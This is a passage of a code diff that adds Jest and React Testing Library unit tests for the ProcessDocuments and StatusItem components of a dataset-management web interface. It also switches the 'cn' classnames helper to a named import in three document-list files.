+        const processButton = screen.getByRole('button', { name: 'datasetPipeline.operations.saveAndProcess' })
+        expect(processButton).not.toBeDisabled()
+      })
+
+      it('should disable Actions button when isRunning is true', () => {
+        // Arrange
+        const props = createDefaultProps({ isRunning: true })
+
+        // Act
+        renderWithProviders(<ProcessDocuments {...props} />)
+
+        // Assert
+        const processButton = screen.getByRole('button', { name: 'datasetPipeline.operations.saveAndProcess' })
+        expect(processButton).toBeDisabled()
+      })
+
+      it('should disable preview button when isRunning is true', () => {
+        // Arrange
+        const props = createDefaultProps({ isRunning: true })
+
+        // Act
+        renderWithProviders(<ProcessDocuments {...props} />)
+
+        // Assert
+        expect(screen.getByTestId('preview-btn')).toBeDisabled()
+      })
+    })
+
+    describe('ref', () => {
+      it('should expose submit method via ref', () => {
+        // Arrange
+        const ref = { current: null } as React.RefObject<{ submit: () => void } | null>
+        const onSubmit = jest.fn()
+        const props = createDefaultProps({ ref, onSubmit })
+
+        // Act
+        renderWithProviders(<ProcessDocuments {...props} />)
+
+        // Assert
+        expect(ref.current).not.toBeNull()
+        expect(typeof ref.current?.submit).toBe('function')
+
+        // Act - call submit via ref
+        ref.current?.submit()
+
+        // Assert - onSubmit should be called
+        expect(onSubmit).toHaveBeenCalled()
+      })
+    })
+  })
+
+  // ==================== User Interactions ====================
+  // Test event handlers and user interactions
+  describe('User Interactions', () => {
+    describe('onProcess', () => {
+      it('should call onProcess when Save and Process button is clicked', () => {
+        // Arrange
+        const onProcess = jest.fn()
+        const props = createDefaultProps({ onProcess })
+
+        // Act
+        renderWithProviders(<ProcessDocuments {...props} />)
+        fireEvent.click(screen.getByRole('button', { name: 'datasetPipeline.operations.saveAndProcess' }))
+
+        // Assert
+        expect(onProcess).toHaveBeenCalledTimes(1)
+      })
+
+      it('should not call onProcess when button is disabled due to isRunning', () => {
+        // Arrange
+        const onProcess = jest.fn()
+        const props = createDefaultProps({ onProcess, isRunning: true })
+
+        // Act
+        renderWithProviders(<ProcessDocuments {...props} />)
+        fireEvent.click(screen.getByRole('button', { name: 'datasetPipeline.operations.saveAndProcess' }))
+
+        // Assert
+        expect(onProcess).not.toHaveBeenCalled()
+      })
+    })
+
+    describe('onPreview', () => {
+      it('should call onPreview when preview button is clicked', () => {
+        // Arrange
+        const onPreview = jest.fn()
+        const props = createDefaultProps({ onPreview })
+
+        // Act
+        renderWithProviders(<ProcessDocuments {...props} />)
+        fireEvent.click(screen.getByTestId('preview-btn'))
+
+        // Assert
+        expect(onPreview).toHaveBeenCalledTimes(1)
+      })
+    })
+
+    describe('onSubmit', () => {
+      it('should call onSubmit with form data when form is submitted', () => {
+        // Arrange
+        const variables: RAGPipelineVariable[] = [
+          createMockVariable({ variable: 'chunk_size', label: 'Chunk Size', type: PipelineInputVarType.number, default_value: '100' }),
+        ]
+        mockParamsConfig.mockReturnValue({ variables })
+        const onSubmit = jest.fn()
+        const props = createDefaultProps({ onSubmit })
+
+        // Act
+        renderWithProviders(<ProcessDocuments {...props} />)
+        fireEvent.submit(screen.getByTestId('process-form'))
+
+        // Assert - should submit with initial data transformed by real hooks
+        // Note: default_value is string type, so the value remains as string
+        expect(onSubmit).toHaveBeenCalledWith({ chunk_size: '100' })
+      })
+    })
+  })
+
+  // ==================== Data Transformation Tests ====================
+  // Test real hooks transform data correctly
+  describe('Data Transformation', () => {
+    it('should transform text-input variable to string initial value', () => {
+      // Arrange
+      const variables: RAGPipelineVariable[] = [
+        createMockVariable({ variable: 'name', label: 'Name', type: PipelineInputVarType.textInput, default_value: 'default' }),
+      ]
+      mockParamsConfig.mockReturnValue({ variables })
+      const props = createDefaultProps()
+
+      // Act
+      renderWithProviders(<ProcessDocuments {...props} />)
+
+      // Assert
+      const input = screen.getByTestId('input-name') as HTMLInputElement
+      expect(input.defaultValue).toBe('default')
+    })
+
+    it('should transform number variable to number initial value', () => {
+      // Arrange
+      const variables: RAGPipelineVariable[] = [
+        createMockVariable({ variable: 'count', label: 'Count', type: PipelineInputVarType.number, default_value: '42' }),
+      ]
+      mockParamsConfig.mockReturnValue({ variables })
+      const props = createDefaultProps()
+
+      // Act
+      renderWithProviders(<ProcessDocuments {...props} />)
+
+      // Assert
+      const input = screen.getByTestId('input-count') as HTMLInputElement
+      expect(input.defaultValue).toBe('42')
+    })
+
+    it('should use empty string for text-input without default value', () => {
+      // Arrange
+      const variables: RAGPipelineVariable[] = [
+        createMockVariable({ variable: 'name', label: 'Name', type: PipelineInputVarType.textInput }),
+      ]
+      mockParamsConfig.mockReturnValue({ variables })
+      const props = createDefaultProps()
+
+      // Act
+      renderWithProviders(<ProcessDocuments {...props} />)
+
+      // Assert
+      const input = screen.getByTestId('input-name') as HTMLInputElement
+      expect(input.defaultValue).toBe('')
+    })
+
+    it('should prioritize lastRunInputData over default_value', () => {
+      // Arrange
+      const variables: RAGPipelineVariable[] = [
+        createMockVariable({ variable: 'size', label: 'Size', type: PipelineInputVarType.number, default_value: '100' }),
+      ]
+      mockParamsConfig.mockReturnValue({ variables })
+      const props = createDefaultProps({ lastRunInputData: { size: 999 } })
+
+      // Act
+      renderWithProviders(<ProcessDocuments {...props} />)
+
+      // Assert
+      const input = screen.getByTestId('input-size') as HTMLInputElement
+      expect(input.defaultValue).toBe('999')
+    })
+  })
+
+  // ==================== Edge Cases ====================
+  // Test boundary conditions and error handling
+  describe('Edge Cases', () => {
+    describe('Empty/Null data handling', () => {
+      it('should handle undefined paramsConfig.variables', () => {
+        // Arrange
+        mockParamsConfig.mockReturnValue({ variables: undefined })
+        const props = createDefaultProps()
+
+        // Act
+        renderWithProviders(<ProcessDocuments {...props} />)
+
+        // Assert - should render without fields
+        expect(screen.getByTestId('process-form')).toBeInTheDocument()
+        expect(screen.queryByTestId(/^field-/)).not.toBeInTheDocument()
+      })
+
+      it('should handle null paramsConfig', () => {
+        // Arrange
+        mockParamsConfig.mockReturnValue(null)
+        const props = createDefaultProps()
+
+        // Act
+        renderWithProviders(<ProcessDocuments {...props} />)
+
+        // Assert
+        expect(screen.getByTestId('process-form')).toBeInTheDocument()
+      })
+
+      it('should handle empty variables array', () => {
+        // Arrange
+        mockParamsConfig.mockReturnValue({ variables: [] })
+        const props = createDefaultProps()
+
+        // Act
+        renderWithProviders(<ProcessDocuments {...props} />)
+
+        // Assert
+        expect(screen.getByTestId('process-form')).toBeInTheDocument()
+        expect(screen.queryByTestId(/^field-/)).not.toBeInTheDocument()
+      })
+    })
+
+    describe('Multiple variables', () => {
+      it('should handle multiple variables of different types', () => {
+        // Arrange
+        const variables: RAGPipelineVariable[] = [
+          createMockVariable({ variable: 'text_field', label: 'Text', type: PipelineInputVarType.textInput, default_value: 'hello' }),
+          createMockVariable({ variable: 'number_field', label: 'Number', type: PipelineInputVarType.number, default_value: '123' }),
+          createMockVariable({ variable: 'select_field', label: 'Select', type: PipelineInputVarType.select, default_value: 'option1' }),
+        ]
+        mockParamsConfig.mockReturnValue({ variables })
+        const props = createDefaultProps()
+
+        // Act
+        renderWithProviders(<ProcessDocuments {...props} />)
+
+        // Assert - all fields should be rendered
+        expect(screen.getByTestId('field-text_field')).toBeInTheDocument()
+        expect(screen.getByTestId('field-number_field')).toBeInTheDocument()
+        expect(screen.getByTestId('field-select_field')).toBeInTheDocument()
+      })
+
+      it('should submit all variables data correctly', () => {
+        // Arrange
+        const variables: RAGPipelineVariable[] = [
+          createMockVariable({ variable: 'field1', label: 'Field 1', type: PipelineInputVarType.textInput, default_value: 'value1' }),
+          createMockVariable({ variable: 'field2', label: 'Field 2', type: PipelineInputVarType.number, default_value: '42' }),
+        ]
+        mockParamsConfig.mockReturnValue({ variables })
+        const onSubmit = jest.fn()
+        const props = createDefaultProps({ onSubmit })
+
+        // Act
+        renderWithProviders(<ProcessDocuments {...props} />)
+        fireEvent.submit(screen.getByTestId('process-form'))
+
+        // Assert - default_value is string type, so values remain as strings
+        expect(onSubmit).toHaveBeenCalledWith({
+          field1: 'value1',
+          field2: '42',
+        })
+      })
+    })
+
+    describe('Variable with options (select type)', () => {
+      it('should handle select variable with options', () => {
+        // Arrange
+        const variables: RAGPipelineVariable[] = [
+          createMockVariable({
+            variable: 'mode',
+            label: 'Mode',
+            type: PipelineInputVarType.select,
+            options: ['auto', 'manual', 'custom'],
+            default_value: 'auto',
+          }),
+        ]
+        mockParamsConfig.mockReturnValue({ variables })
+        const props = createDefaultProps()
+
+        // Act
+        renderWithProviders(<ProcessDocuments {...props} />)
+
+        // Assert
+        expect(screen.getByTestId('field-mode')).toBeInTheDocument()
+        const input = screen.getByTestId('input-mode') as HTMLInputElement
+        expect(input.defaultValue).toBe('auto')
+      })
+    })
+  })
+
+  // ==================== Integration Tests ====================
+  // Test Form and Actions components work together with real hooks
+  describe('Integration', () => {
+    it('should coordinate form submission flow correctly', () => {
+      // Arrange
+      const variables: RAGPipelineVariable[] = [
+        createMockVariable({ variable: 'setting', label: 'Setting', type: PipelineInputVarType.textInput, default_value: 'initial' }),
+      ]
+      mockParamsConfig.mockReturnValue({ variables })
+      const onProcess = jest.fn()
+      const onSubmit = jest.fn()
+      const props = createDefaultProps({ onProcess, onSubmit })
+
+      // Act
+      renderWithProviders(<ProcessDocuments {...props} />)
+
+      // Assert - form is rendered with correct initial data
+      const input = screen.getByTestId('input-setting') as HTMLInputElement
+      expect(input.defaultValue).toBe('initial')
+
+      // Act - click process button
+      fireEvent.click(screen.getByRole('button', { name: 'datasetPipeline.operations.saveAndProcess' }))
+
+      // Assert - onProcess is called
+      expect(onProcess).toHaveBeenCalled()
+    })
+
+    it('should render complete UI with all interactive elements', () => {
+      // Arrange
+      const variables: RAGPipelineVariable[] = [
+        createMockVariable({ variable: 'test', label: 'Test Field', type: PipelineInputVarType.textInput }),
+      ]
+      mockParamsConfig.mockReturnValue({ variables })
+      const props = createDefaultProps()
+
+      // Act
+      renderWithProviders(<ProcessDocuments {...props} />)
+
+      // Assert - all UI elements are present
+      expect(screen.getByTestId('process-form')).toBeInTheDocument()
+      expect(screen.getByText('Test Field')).toBeInTheDocument()
+      expect(screen.getByTestId('preview-btn')).toBeInTheDocument()
+      expect(screen.getByRole('button', { name: 'datasetPipeline.operations.saveAndProcess' })).toBeInTheDocument()
+    })
+  })
+})
diff --git a/web/app/components/datasets/documents/index.tsx b/web/app/components/datasets/documents/index.tsx
index e09ab44701..c6808dbfaf 100644
--- a/web/app/components/datasets/documents/index.tsx
+++ b/web/app/components/datasets/documents/index.tsx
@@ -16,7 +16,7 @@ import { useDatasetDetailContextWithSelector } from '@/context/dataset-detail'
 import { DataSourceType } from '@/models/datasets'
 import IndexFailed from '@/app/components/datasets/common/document-status-with-action/index-failed'
 import { useProviderContext } from '@/context/provider-context'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useDocumentList, useInvalidDocumentDetail, useInvalidDocumentList } from '@/service/knowledge/use-document'
 import { useInvalid } from '@/service/use-base'
 import { useChildSegmentListKey, useSegmentListKey } from '@/service/knowledge/use-segment'
diff --git a/web/app/components/datasets/documents/list.tsx b/web/app/components/datasets/documents/list.tsx
index 5c9f832bb8..c93649fcc0 100644
--- a/web/app/components/datasets/documents/list.tsx
+++ b/web/app/components/datasets/documents/list.tsx
@@ -15,7 +15,7 @@ import FileTypeIcon from '../../base/file-uploader/file-type-icon'
 import s from './style.module.css'
 import RenameModal from './rename-modal'
 import BatchAction from './detail/completed/common/batch-action'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Tooltip from '@/app/components/base/tooltip'
 import Toast from '@/app/components/base/toast'
 import { asyncRunSafe } from '@/utils'
diff --git a/web/app/components/datasets/documents/operations.tsx b/web/app/components/datasets/documents/operations.tsx
index 74bf0f3179..47ba72e4b1 100644
--- a/web/app/components/datasets/documents/operations.tsx
+++ b/web/app/components/datasets/documents/operations.tsx
@@ -22,7 +22,7 @@ import Switch from '../../base/switch'
 import { noop } from 'lodash-es'
 import Tooltip from '../../base/tooltip'
 import Divider from '../../base/divider'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import {
   RiArchive2Line,
   RiDeleteBinLine,
diff --git a/web/app/components/datasets/documents/status-item/index.spec.tsx b/web/app/components/datasets/documents/status-item/index.spec.tsx
new file mode 100644
index 0000000000..43275252a3
--- /dev/null
+++ b/web/app/components/datasets/documents/status-item/index.spec.tsx
@@ -0,0 +1,961 @@
+import { fireEvent, render, screen, waitFor } from '@testing-library/react'
+import { QueryClient, QueryClientProvider } from '@tanstack/react-query'
+import StatusItem from './index'
+import type { DocumentDisplayStatus } from '@/models/datasets'
+
+// Mock ToastContext - required to verify notifications
+const mockNotify = jest.fn()
+jest.mock('use-context-selector', () => ({
+  ...jest.requireActual('use-context-selector'),
+  useContext: () => ({ notify: mockNotify }),
+}))
+
+// Mock document service hooks - required to avoid real API calls
+const mockEnableDocument = jest.fn()
+const mockDisableDocument = jest.fn()
+const mockDeleteDocument = jest.fn()
+
+jest.mock('@/service/knowledge/use-document', () => ({
+  useDocumentEnable: () => ({ mutateAsync: mockEnableDocument }),
+  useDocumentDisable: () => ({ mutateAsync: mockDisableDocument }),
+  useDocumentDelete: () => ({ mutateAsync: mockDeleteDocument }),
+}))
+
+// Mock useDebounceFn to execute immediately for testing
+jest.mock('ahooks', () => ({
+  ...jest.requireActual('ahooks'),
+  useDebounceFn: (fn: (...args: unknown[]) => void) => ({ run: fn }),
+}))
+
+// Test utilities
+const createQueryClient = () =>
+  new QueryClient({
+    defaultOptions: {
+      queries: { retry: false },
+      mutations: { retry: false },
+    },
+  })
+
+const renderWithProviders = (ui: React.ReactElement) => {
+  const queryClient = createQueryClient()
+  return render(
+    <QueryClientProvider client={queryClient}>
+      {ui}
+    </QueryClientProvider>,
+  )
+}
+
+// Factory functions for test data
+const createDetailProps = (overrides: Partial<{
+  enabled: boolean
+  archived: boolean
+  id: string
+}> = {}) => ({
+  enabled: false,
+  archived: false,
+  id: 'doc-123',
+  ...overrides,
+})
+
+describe('StatusItem', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+    mockEnableDocument.mockResolvedValue({ result: 'success' })
+    mockDisableDocument.mockResolvedValue({ result: 'success' })
+    mockDeleteDocument.mockResolvedValue({ result: 'success' })
+  })
+
+  // ==================== Rendering Tests ====================
+  // Test basic rendering with different status values
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      // Arrange & Act
+      renderWithProviders(<StatusItem status="available" />)
+
+      // Assert - check indicator element exists (real Indicator component)
+      const indicator = screen.getByTestId('status-indicator')
+      expect(indicator).toBeInTheDocument()
+    })
+
+    it.each([
+      ['queuing', 'bg-components-badge-status-light-warning-bg'],
+      ['indexing', 'bg-components-badge-status-light-normal-bg'],
+      ['paused', 'bg-components-badge-status-light-warning-bg'],
+      ['error', 'bg-components-badge-status-light-error-bg'],
+      ['available', 'bg-components-badge-status-light-success-bg'],
+      ['enabled', 'bg-components-badge-status-light-success-bg'],
+      ['disabled', 'bg-components-badge-status-light-disabled-bg'],
+      ['archived', 'bg-components-badge-status-light-disabled-bg'],
+    ] as const)('should render status "%s" with correct indicator background', (status, expectedBg) => {
+      // Arrange & Act
+      renderWithProviders(<StatusItem status={status} />)
+
+      // Assert
+      const indicator = screen.getByTestId('status-indicator')
+      expect(indicator).toHaveClass(expectedBg)
+    })
+
+    it('should render status text from translation', () => {
+      // Arrange & Act
+      renderWithProviders(<StatusItem status="available" />)
+
+      // Assert
+      expect(screen.getByText('datasetDocuments.list.status.available')).toBeInTheDocument()
+    })
+
+    it('should handle case-insensitive status', () => {
+      // Arrange & Act
+      renderWithProviders(
+        <StatusItem status={'AVAILABLE' as DocumentDisplayStatus} />,
+      )
+
+      // Assert
+      const indicator = screen.getByTestId('status-indicator')
+      expect(indicator).toHaveClass('bg-components-badge-status-light-success-bg')
+    })
+  })
+
+  // ==================== Props Testing ====================
+  // Test all prop variations and combinations
+  describe('Props', () => {
+    // reverse prop tests
+    describe('reverse prop', () => {
+      it('should apply default layout when reverse is false', () => {
+        // Arrange & Act
+        const { container } = renderWithProviders(<StatusItem status="available" reverse={false} />)
+
+        // Assert
+        const wrapper = container.firstChild as HTMLElement
+        expect(wrapper).not.toHaveClass('flex-row-reverse')
+      })
+
+      it('should apply reversed layout when reverse is true', () => {
+        // Arrange & Act
+        const { container } = renderWithProviders(<StatusItem status="available" reverse />)
+
+        // Assert
+        const wrapper = container.firstChild as HTMLElement
+        expect(wrapper).toHaveClass('flex-row-reverse')
+      })
+
+      it('should apply ml-2 to indicator when reversed', () => {
+        // Arrange & Act
+        renderWithProviders(<StatusItem status="available" reverse />)
+
+        // Assert
+        const indicator = screen.getByTestId('status-indicator')
+        expect(indicator).toHaveClass('ml-2')
+      })
+
+      it('should apply mr-2 to indicator when not reversed', () => {
+        // Arrange & Act
+        renderWithProviders(<StatusItem status="available" reverse={false} />)
+
+        // Assert
+        const indicator = screen.getByTestId('status-indicator')
+        expect(indicator).toHaveClass('mr-2')
+      })
+    })
+
+    // scene prop tests
+    describe('scene prop', () => {
+      it('should not render switch in list scene', () => {
+        // Arrange & Act
+        renderWithProviders(
+          <StatusItem
+            status="available"
+            scene="list"
+            detail={createDetailProps()}
+          />,
+        )
+
+        // Assert - Switch renders as a button element
+        expect(screen.queryByRole('switch')).not.toBeInTheDocument()
+      })
+
+      it('should render switch in detail scene', () => {
+        // Arrange & Act
+        renderWithProviders(
+          <StatusItem
+            status="available"
+            scene="detail"
+            detail={createDetailProps()}
+          />,
+        )
+
+        // Assert
+        expect(screen.getByRole('switch')).toBeInTheDocument()
+      })
+
+      it('should default to list scene', () => {
+        // Arrange & Act
+        renderWithProviders(
+          <StatusItem
+            status="available"
+            detail={createDetailProps()}
+          />,
+        )
+
+        // Assert
+        expect(screen.queryByRole('switch')).not.toBeInTheDocument()
+      })
+    })
+
+    // textCls prop tests
+    describe('textCls prop', () => {
+      it('should apply custom text class', () => {
+        // Arrange & Act
+        renderWithProviders(
+          <StatusItem status="available" textCls="custom-text-class" />,
+        )
+
+        // Assert
+        const statusText = screen.getByText('datasetDocuments.list.status.available')
+        expect(statusText).toHaveClass('custom-text-class')
+      })
+
+      it('should default to empty string', () => {
+        // Arrange & Act
+        renderWithProviders(<StatusItem status="available" />)
+
+        // Assert
+        const statusText = screen.getByText('datasetDocuments.list.status.available')
+        expect(statusText).toHaveClass('text-sm')
+      })
+    })
+
+    // errorMessage prop tests
+    describe('errorMessage prop', () => {
+      it('should render tooltip trigger when errorMessage is provided', () => {
+        // Arrange & Act
+        renderWithProviders(
+          <StatusItem status="error" errorMessage="Something went wrong" />,
+        )
+
+        // Assert - tooltip trigger element should exist
+        const tooltipTrigger = screen.getByTestId('error-tooltip-trigger')
+        expect(tooltipTrigger).toBeInTheDocument()
+      })
+
+      it('should show error message on hover', async () => {
+        // Arrange
+        renderWithProviders(
+          <StatusItem status="error" errorMessage="Something went wrong" />,
+        )
+
+        // Act - hover the tooltip trigger
+        const tooltipTrigger = screen.getByTestId('error-tooltip-trigger')
+        fireEvent.mouseEnter(tooltipTrigger)
+
+        // Assert - wait for tooltip content to appear
+        expect(await screen.findByText('Something went wrong')).toBeInTheDocument()
+      })
+
+      it('should not render tooltip trigger when errorMessage is not provided', () => {
+        // Arrange & Act
+        renderWithProviders(<StatusItem status="error" />)
+
+        // Assert - tooltip trigger should not exist
+        const tooltipTrigger = screen.queryByTestId('error-tooltip-trigger')
+        expect(tooltipTrigger).not.toBeInTheDocument()
+      })
+
+      it('should not render tooltip trigger when errorMessage is empty', () => {
+        // Arrange & Act
+        renderWithProviders(<StatusItem status="error" errorMessage="" />)
+
+        // Assert - tooltip trigger should not exist
+        const tooltipTrigger = screen.queryByTestId('error-tooltip-trigger')
+        expect(tooltipTrigger).not.toBeInTheDocument()
+      })
+    })
+
+    // detail prop tests
+    describe('detail prop', () => {
+      it('should use default values when detail is undefined', () => {
+        // Arrange & Act
+        renderWithProviders(
+          <StatusItem status="available" scene="detail" />,
+        )
+
+        // Assert - switch should be unchecked (defaultValue = false when archived = false and enabled = false)
+        const switchEl = screen.getByRole('switch')
+        expect(switchEl).toHaveAttribute('aria-checked', 'false')
+      })
+
+      it('should use enabled value from detail', () => {
+        // Arrange & Act
+        renderWithProviders(
+          <StatusItem
+            status="available"
+            scene="detail"
+            detail={createDetailProps({ enabled: true })}
+          />,
+        )
+
+        // Assert
+        const switchEl = screen.getByRole('switch')
+        expect(switchEl).toHaveAttribute('aria-checked', 'true')
+      })
+
+      it('should set switch to false when archived regardless of enabled', () => {
+        // Arrange & Act
+        renderWithProviders(
+          <StatusItem
+            status="available"
+            scene="detail"
+            detail={createDetailProps({ enabled: true, archived: true })}
+          />,
+        )
+
+        // Assert - archived overrides enabled, defaultValue becomes false
+        const switchEl = screen.getByRole('switch')
+        expect(switchEl).toHaveAttribute('aria-checked', 'false')
+      })
+    })
+  })
+
+  // ==================== Memoization Tests ====================
+  // Test useMemo logic for embedding status (disables switch)
+  describe('Memoization', () => {
+    it.each([
+      ['queuing', true],
+      ['indexing', true],
+      ['paused', true],
+      ['available', false],
+      ['enabled', false],
+      ['disabled', false],
+      ['archived', false],
+      ['error', false],
+    ] as const)('should correctly identify embedding status for "%s" - disabled: %s', (status, isEmbedding) => {
+      // Arrange & Act
+      renderWithProviders(
+        <StatusItem
+          status={status}
+          scene="detail"
+          detail={createDetailProps()}
+        />,
+      )
+
+      // Assert - check if switch is visually disabled (via CSS classes)
+      // The Switch component uses CSS classes for disabled state, not the native disabled attribute
+      const switchEl = screen.getByRole('switch')
+      if (isEmbedding)
+        expect(switchEl).toHaveClass('!cursor-not-allowed', '!opacity-50')
+      else
+        expect(switchEl).not.toHaveClass('!cursor-not-allowed')
+    })
+
+    it('should disable switch when archived', () => {
+      // Arrange & Act
+      renderWithProviders(
+        <StatusItem
+          status="available"
+          scene="detail"
+          detail={createDetailProps({ archived: true })}
+        />,
+      )
+
+      // Assert - visually disabled via CSS classes
+      const switchEl = screen.getByRole('switch')
+      expect(switchEl).toHaveClass('!cursor-not-allowed', '!opacity-50')
+    })
+
+    it('should disable switch when both embedding and archived', () => {
+      // Arrange & Act
+      renderWithProviders(
+        <StatusItem
+          status="indexing"
+          scene="detail"
+          detail={createDetailProps({ archived: true })}
+        />,
+      )
+
+      // Assert - visually disabled via CSS classes
+      const switchEl = screen.getByRole('switch')
+      expect(switchEl).toHaveClass('!cursor-not-allowed', '!opacity-50')
+    })
+  })
+
+  // ==================== Switch Toggle Tests ====================
+  // Test Switch toggle interactions
+  describe('Switch Toggle', () => {
+    it('should call enable operation when switch is toggled on', async () => {
+      // Arrange
+      const mockOnUpdate = jest.fn()
+      renderWithProviders(
+        <StatusItem
+          status="disabled"
+          scene="detail"
+          detail={createDetailProps({ enabled: false })}
+          datasetId="dataset-123"
+          onUpdate={mockOnUpdate}
+        />,
+      )
+
+      // Act
+      const switchEl = screen.getByRole('switch')
+      fireEvent.click(switchEl)
+
+      // Assert
+      await waitFor(() => {
+        expect(mockEnableDocument).toHaveBeenCalledWith({
+          datasetId: 'dataset-123',
+          documentId: 'doc-123',
+        })
+      })
+    })
+
+    it('should call disable operation when switch is toggled off', async () => {
+      // Arrange
+      const mockOnUpdate = jest.fn()
+      renderWithProviders(
+        <StatusItem
+          status="enabled"
+          scene="detail"
+          detail={createDetailProps({ enabled: true })}
+          datasetId="dataset-123"
+          onUpdate={mockOnUpdate}
+        />,
+      )
+
+      // Act
+      const switchEl = screen.getByRole('switch')
+      fireEvent.click(switchEl)
+
+      // Assert
+      await waitFor(() => {
+        expect(mockDisableDocument).toHaveBeenCalledWith({
+          datasetId: 'dataset-123',
+          documentId: 'doc-123',
+        })
+      })
+    })
+
+    it('should not call any operation when archived', () => {
+      // Arrange
+      renderWithProviders(
+        <StatusItem
+          status="available"
+          scene="detail"
+          detail={createDetailProps({ archived: true })}
+          datasetId="dataset-123"
+        />,
+      )
+
+      // Act
+      const switchEl = screen.getByRole('switch')
+      fireEvent.click(switchEl)
+
+      // Assert
+      expect(mockEnableDocument).not.toHaveBeenCalled()
+      expect(mockDisableDocument).not.toHaveBeenCalled()
+    })
+
+    it('should render switch as checked when enabled is true', () => {
+      // Arrange & Act
+      renderWithProviders(
+        <StatusItem
+          status="enabled"
+          scene="detail"
+          detail={createDetailProps({ enabled: true })}
+          datasetId="dataset-123"
+        />,
+      )
+
+      // Assert - verify switch shows checked state
+      const switchEl = screen.getByRole('switch')
+      expect(switchEl).toHaveAttribute('aria-checked', 'true')
+    })
+
+    it('should render switch as unchecked when enabled is false', () => {
+      // Arrange & Act
+      renderWithProviders(
+        <StatusItem
+          status="disabled"
+          scene="detail"
+          detail={createDetailProps({ enabled: false })}
+          datasetId="dataset-123"
+        />,
+      )
+
+      // Assert - verify switch shows unchecked state
+      const switchEl = screen.getByRole('switch')
+      expect(switchEl).toHaveAttribute('aria-checked', 'false')
+    })
+
+    it('should skip enable operation when props.enabled is true (guard branch)', () => {
+      // Covers guard condition: if (operationName === 'enable' && enabled) return
+      // Note: The guard checks props.enabled, NOT the Switch's internal UI state.
+      // This prevents redundant API calls when the UI toggles back to a state
+      // that already matches the server-side data (props haven't been updated yet).
+      const mockOnUpdate = jest.fn()
+      renderWithProviders(
+        <StatusItem
+          status="enabled"
+          scene="detail"
+          detail={createDetailProps({ enabled: true })}
+          datasetId="dataset-123"
+          onUpdate={mockOnUpdate}
+        />,
+      )
+
+      const switchEl = screen.getByRole('switch')
+      // First click: Switch UI toggles OFF, calls disable (props.enabled=true, so allowed)
+      fireEvent.click(switchEl)
+      // Second click: Switch UI toggles ON, tries to call enable
+      // BUT props.enabled is still true (not updated), so guard skips the API call
+      fireEvent.click(switchEl)
+
+      // Assert - disable was called once, enable was skipped because props.enabled=true
+      expect(mockDisableDocument).toHaveBeenCalledTimes(1)
+      expect(mockEnableDocument).not.toHaveBeenCalled()
+    })
+
+    it('should skip disable operation when props.enabled is false (guard branch)', () => {
+      // Covers guard condition: if (operationName === 'disable' && !enabled) return
+      // Note: The guard checks props.enabled, NOT the Switch's internal UI state.
+      // This prevents redundant API calls when the UI toggles back to a state
+      // that already matches the server-side data (props haven't been updated yet).
+      const mockOnUpdate = jest.fn()
+      renderWithProviders(
+        <StatusItem
+          status="disabled"
+          scene="detail"
+          detail={createDetailProps({ enabled: false })}
+          datasetId="dataset-123"
+          onUpdate={mockOnUpdate}
+        />,
+      )
+
+      const switchEl = screen.getByRole('switch')
+      // First click: Switch UI toggles ON, calls enable (props.enabled=false, so allowed)
+      fireEvent.click(switchEl)
+      // Second click: Switch UI toggles OFF, tries to call disable
+      // BUT props.enabled is still false (not updated), so guard skips the API call
+      fireEvent.click(switchEl)
+
+      // Assert - enable was called once, disable was skipped because props.enabled=false
+      expect(mockEnableDocument).toHaveBeenCalledTimes(1)
+      expect(mockDisableDocument).not.toHaveBeenCalled()
+    })
+  })
+
+  // ==================== onUpdate Callback Tests ====================
+  // Test onUpdate callback behavior
+  describe('onUpdate Callback', () => {
+    it('should call onUpdate with operation name on successful enable', async () => {
+      // Arrange
+      const mockOnUpdate = jest.fn()
+      renderWithProviders(
+        <StatusItem
+          status="disabled"
+          scene="detail"
+          detail={createDetailProps({ enabled: false })}
+          datasetId="dataset-123"
+          onUpdate={mockOnUpdate}
+        />,
+      )
+
+      // Act
+      const switchEl = screen.getByRole('switch')
+      fireEvent.click(switchEl)
+
+      // Assert
+      await waitFor(() => {
+        expect(mockOnUpdate).toHaveBeenCalledWith('enable')
+      })
+    })
+
+    it('should call onUpdate with operation name on successful disable', async () => {
+      // Arrange
+      const mockOnUpdate = jest.fn()
+      renderWithProviders(
+        <StatusItem
+          status="enabled"
+          scene="detail"
+          detail={createDetailProps({ enabled: true })}
+          datasetId="dataset-123"
+          onUpdate={mockOnUpdate}
+        />,
+      )
+
+      // Act
+      const switchEl = screen.getByRole('switch')
+      fireEvent.click(switchEl)
+
+      // Assert
+      await waitFor(() => {
+        expect(mockOnUpdate).toHaveBeenCalledWith('disable')
+      })
+    })
+
+    it('should not call onUpdate when operation fails', async () => {
+      // Arrange
+      mockEnableDocument.mockRejectedValue(new Error('API Error'))
+      const mockOnUpdate = jest.fn()
+      renderWithProviders(
+        <StatusItem
+          status="disabled"
+          scene="detail"
+          detail={createDetailProps({ enabled: false })}
+          datasetId="dataset-123"
+          onUpdate={mockOnUpdate}
+        />,
+      )
+
+      // Act
+      const switchEl = screen.getByRole('switch')
+      fireEvent.click(switchEl)
+
+      // Assert
+      await waitFor(() => {
+        expect(mockNotify).toHaveBeenCalledWith({
+          type: 'error',
+          message: 'common.actionMsg.modifiedUnsuccessfully',
+        })
+      })
+      expect(mockOnUpdate).not.toHaveBeenCalled()
+    })
+
+    it('should not throw when onUpdate is not provided', () => {
+      // Arrange
+      renderWithProviders(
+        <StatusItem
+          status="disabled"
+          scene="detail"
+          detail={createDetailProps({ enabled: false })}
+          datasetId="dataset-123"
+        />,
+      )
+
+      // Act
+      const switchEl = screen.getByRole('switch')
+
+      // Assert - should not throw
+      expect(() => fireEvent.click(switchEl)).not.toThrow()
+    })
+  })
+
+  // ==================== API Calls ====================
+  // Test API operations and toast notifications
+  describe('API Operations', () => {
+    it('should show success toast on successful operation', async () => {
+      // Arrange
+      renderWithProviders(
+        <StatusItem
+          status="disabled"
+          scene="detail"
+          detail={createDetailProps({ enabled: false })}
+          datasetId="dataset-123"
+        />,
+      )
+
+      // Act
+      const switchEl = screen.getByRole('switch')
+      fireEvent.click(switchEl)
+
+      // Assert
+      await waitFor(() => {
+        expect(mockNotify).toHaveBeenCalledWith({
+          type: 'success',
+          message: 'common.actionMsg.modifiedSuccessfully',
+        })
+      })
+    })
+
+    it('should show error toast on failed operation', async () => {
+      // Arrange
